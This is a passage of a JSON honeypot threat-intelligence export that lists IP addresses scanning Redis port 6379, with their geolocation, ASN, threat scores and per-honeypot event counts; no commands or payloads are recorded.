      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-18T14:40:39+00:00",
        "last_seen_30d": "2026-04-18T14:46:21.576000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173,
        "H0neytr4p": 49,
        "Redishoneypot": 47,
        "Tanner": 22,
        "Dionaea": 1
      }
    },
    "146.70.199.232": {
      "attack_count": 53,
      "first_seen": "2026-04-22T19:55:30.000Z",
      "last_seen": "2026-04-22T20:00:34.880Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 1,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-22T19:55:05+00:00",
        "last_seen_30d": "2026-04-22T20:00:34.971000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "H0neytr4p": 49,
        "Redishoneypot": 47,
        "Tanner": 22,
        "Dionaea": 1
      }
    },
    "85.11.167.11": {
      "attack_count": 53,
      "first_seen": "2026-04-10T14:39:02.000Z",
      "last_seen": "2026-04-13T12:07:29.009Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 59613,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T00:25:33+00:00",
        "last_seen_30d": "2026-04-30T23:49:57.622000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34210,
        "Honeytrap": 24414,
        "Heralding": 974,
        "Redishoneypot": 13,
        "Honeyaml": 2
      }
    },
    "65.49.20.67": {
      "attack_count": 52,
      "first_seen": "2026-04-19T14:29:14.000Z",
      "last_seen": "2026-04-28T14:19:07.235Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 97.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 537,
        "days_active_30d": 30,
        "ports_targeted_30d": 104,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T01:36:40+00:00",
        "last_seen_30d": "2026-04-30T11:29:07.981000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 312,
        "Honeytrap": 159,
        "Redishoneypot": 22,
        "Mailoney": 12,
        "Dionaea": 8,
        "Miniprint": 8,
        "ConPot": 6,
        "Cowrie": 6,
        "Adbhoney": 2,
        "Honeyaml": 2
      }
    },
    "139.198.30.179": {
      "attack_count": 48,
      "first_seen": "2026-04-05T08:12:25.000Z",
      "last_seen": "2026-04-30T12:18:21.115Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 59078,
      "as_org": "Yunify Technologies Inc.",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:13:27.255000+00:00",
        "last_seen_30d": "2026-04-30T12:18:21.115000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 6
      }
    },
    "121.204.160.32": {
      "attack_count": 41,
      "first_seen": "2026-04-04T03:36:01.000Z",
      "last_seen": "2026-04-30T13:59:15.850Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133774,
      "as_org": "Fuzhou",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-04T03:37:04.374000+00:00",
        "last_seen_30d": "2026-04-30T13:59:15.850000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8
      }
    },
    "220.95.208.142": {
      "attack_count": 39,
      "first_seen": "2026-04-16T15:57:01.000Z",
      "last_seen": "2026-04-16T15:59:17.298Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T15:57:12+00:00",
        "last_seen_30d": "2026-04-16T15:59:17.298000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "47.95.118.105": {
      "attack_count": 39,
      "first_seen": "2026-04-22T02:08:33.000Z",
      "last_seen": "2026-04-22T02:10:52.596Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T02:08:43+00:00",
        "last_seen_30d": "2026-04-22T02:10:52.596000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "71.6.199.65": {
      "attack_count": 38,
      "first_seen": "2026-04-01T23:37:58.000Z",
      "last_seen": "2026-04-28T14:06:17.877Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 93.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T05:59:16.275000+00:00",
        "last_seen_30d": "2026-04-30T14:00:33.462000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 145,
        "Honeytrap": 13,
        "Dionaea": 12,
        "Redishoneypot": 12,
        "Cowrie": 10,
        "ElasticPot": 3,
        "Tanner": 3,
        "H0neytr4p": 2
      }
    },
    "36.133.212.147": {
      "attack_count": 36,
      "first_seen": "2026-04-12T10:46:05.000Z",
      "last_seen": "2026-04-23T18:22:15.141Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:46:05+00:00",
        "last_seen_30d": "2026-04-23T18:22:15.141000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 4
      }
    },
    "101.200.242.201": {
      "attack_count": 35,
      "first_seen": "2026-04-04T05:52:14.000Z",
      "last_seen": "2026-04-24T16:00:42.528Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-04T05:53:17.504000+00:00",
        "last_seen_30d": "2026-04-24T16:00:42.528000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7
      }
    },
    "221.180.47.59": {
      "attack_count": 34,
      "first_seen": "2026-04-02T10:44:43.000Z",
      "last_seen": "2026-04-21T06:55:39.954Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56042,
      "as_org": "China Mobile communications corporation",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:44:43+00:00",
        "last_seen_30d": "2026-04-21T06:55:39.954000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 6
      }
    },
    "125.94.106.113": {
      "attack_count": 32,
      "first_seen": "2026-04-06T10:55:49.000Z",
      "last_seen": "2026-04-28T09:05:11.703Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T10:56:59.040000+00:00",
        "last_seen_30d": "2026-04-28T09:05:11.703000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "14.116.219.149": {
      "attack_count": 28,
      "first_seen": "2026-04-05T22:17:35.000Z",
      "last_seen": "2026-04-25T16:07:41.541Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 45.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T21:18:59+00:00",
        "last_seen_30d": "2026-04-25T16:07:41.541000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Redishoneypot": 9,
        "Honeytrap": 4
      }
    },
    "220.154.133.141": {
      "attack_count": 28,
      "first_seen": "2026-04-17T14:44:55.000Z",
      "last_seen": "2026-04-28T15:36:55.466Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-17T14:45:58.986000+00:00",
        "last_seen_30d": "2026-04-28T15:36:55.466000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "170.64.145.51": {
      "attack_count": 27,
      "first_seen": "2026-04-13T09:04:33.000Z",
      "last_seen": "2026-04-13T09:05:43.119Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-13T09:04:33+00:00",
        "last_seen_30d": "2026-04-13T09:05:50.118000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 53,
        "Redishoneypot": 9
      }
    },
    "47.96.228.248": {
      "attack_count": 27,
      "first_seen": "2026-04-07T05:10:32.000Z",
      "last_seen": "2026-04-26T23:52:34.485Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T05:10:32+00:00",
        "last_seen_30d": "2026-04-26T23:52:34.485000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Redishoneypot": 9,
        "Honeytrap": 4
      }
    },
    "120.48.174.141": {
      "attack_count": 26,
      "first_seen": "2026-04-04T07:16:29.000Z",
      "last_seen": "2026-04-27T08:30:22.813Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-04T07:17:34.582000+00:00",
        "last_seen_30d": "2026-04-27T08:30:22.813000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "20.215.88.213": {
      "attack_count": 26,
      "first_seen": "2026-04-07T06:57:34.000Z",
      "last_seen": "2026-04-22T19:26:47.568Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-07T06:58:38.111000+00:00",
        "last_seen_30d": "2026-04-22T19:26:47.568000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "69.6.227.130": {
      "attack_count": 26,
      "first_seen": "2026-04-12T19:12:00.000Z",
      "last_seen": "2026-04-29T14:06:02.654Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Curauma",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-12T19:13:08.349000+00:00",
        "last_seen_30d": "2026-04-29T14:06:02.654000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "140.238.153.39": {
      "attack_count": 24,
      "first_seen": "2026-04-01T19:42:58.000Z",
      "last_seen": "2026-04-22T20:47:10.678Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T19:44:04.582000+00:00",
        "last_seen_30d": "2026-04-22T20:47:10.678000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Redishoneypot": 3
      }
    },
    "20.163.14.227": {
      "attack_count": 24,
      "first_seen": "2026-04-24T22:35:11.000Z",
      "last_seen": "2026-04-24T22:36:52.665Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T00:51:36.764000+00:00",
        "last_seen_30d": "2026-04-24T22:36:52.665000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 5,
        "Honeytrap": 4
      }
    },
    "66.132.172.141": {
      "attack_count": 24,
      "first_seen": "2026-04-17T03:32:16.000Z",
      "last_seen": "2026-04-23T16:38:04.388Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 30,
        "ports_targeted_30d": 51,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T03:33:12.128000+00:00",
        "last_seen_30d": "2026-04-30T23:16:11.025000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112,
        "Honeytrap": 56,
        "Redishoneypot": 12,
        "H0neytr4p": 4,
        "Honeyaml": 3,
        "Dionaea": 2,
        "ConPot": 1
      }
    },
    "20.64.104.78": {
      "attack_count": 23,
      "first_seen": "2026-04-11T13:12:04.000Z",
      "last_seen": "2026-04-11T13:15:40.988Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 64.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 23.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 28,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T20:21:23.386000+00:00",
        "last_seen_30d": "2026-04-30T08:04:13.505000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 5,
        "Redishoneypot": 5
      }
    },
    "120.48.134.61": {
      "attack_count": 21,
      "first_seen": "2026-04-06T10:57:42.000Z",
      "last_seen": "2026-04-19T15:28:38.656Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T10:58:46.544000+00:00",
        "last_seen_30d": "2026-04-19T15:28:38.656000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "120.48.151.68": {
      "attack_count": 20,
      "first_seen": "2026-04-06T23:01:23.000Z",
      "last_seen": "2026-04-30T20:56:07.212Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T23:02:33.854000+00:00",
        "last_seen_30d": "2026-04-30T20:56:07.212000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "138.197.101.95": {
      "attack_count": 20,
      "first_seen": "2026-04-11T10:19:26.000Z",
      "last_seen": "2026-04-11T10:20:27.632Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 130781,
        "days_active_30d": 1,
        "ports_targeted_30d": 65341,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-11T10:16:57+00:00",
        "last_seen_30d": "2026-04-11T10:29:05.918000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 114068,
        "Honeytrap": 16656,
        "ConPot": 10,
        "Cowrie": 10,
        "Dionaea": 10,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "159.223.169.93": {
      "attack_count": 20,
      "first_seen": "2026-04-15T18:43:37.000Z",
      "last_seen": "2026-04-15T18:44:47.655Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 773,
        "days_active_30d": 12,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-08T11:29:45+00:00",
        "last_seen_30d": "2026-04-19T14:10:23.737000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 517,
        "Honeytrap": 229,
        "Dionaea": 10,
        "ElasticPot": 9,
        "Redishoneypot": 8
      }
    },
    "159.65.176.39": {
      "attack_count": 20,
      "first_seen": "2026-04-13T20:17:43.000Z",
      "last_seen": "2026-04-13T20:18:52.515Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 155528,
        "days_active_30d": 17,
        "ports_targeted_30d": 63994,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-13T20:12:08+00:00",
        "last_seen_30d": "2026-04-29T15:06:58.632000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132794,
        "Honeytrap": 22685,
        "Mailoney": 12,
        "Dionaea": 9,
        "Miniprint": 8,
        "ConPot": 5,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1
      }
    },
    "34.38.4.44": {
      "attack_count": 20,
      "first_seen": "2026-04-27T09:28:00.000Z",
      "last_seen": "2026-04-27T14:13:54.069Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-27T09:29:07.302000+00:00",
        "last_seen_30d": "2026-04-27T14:13:54.069000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "167.71.110.14": {
      "attack_count": 19,
      "first_seen": "2026-04-16T19:14:01.000Z",
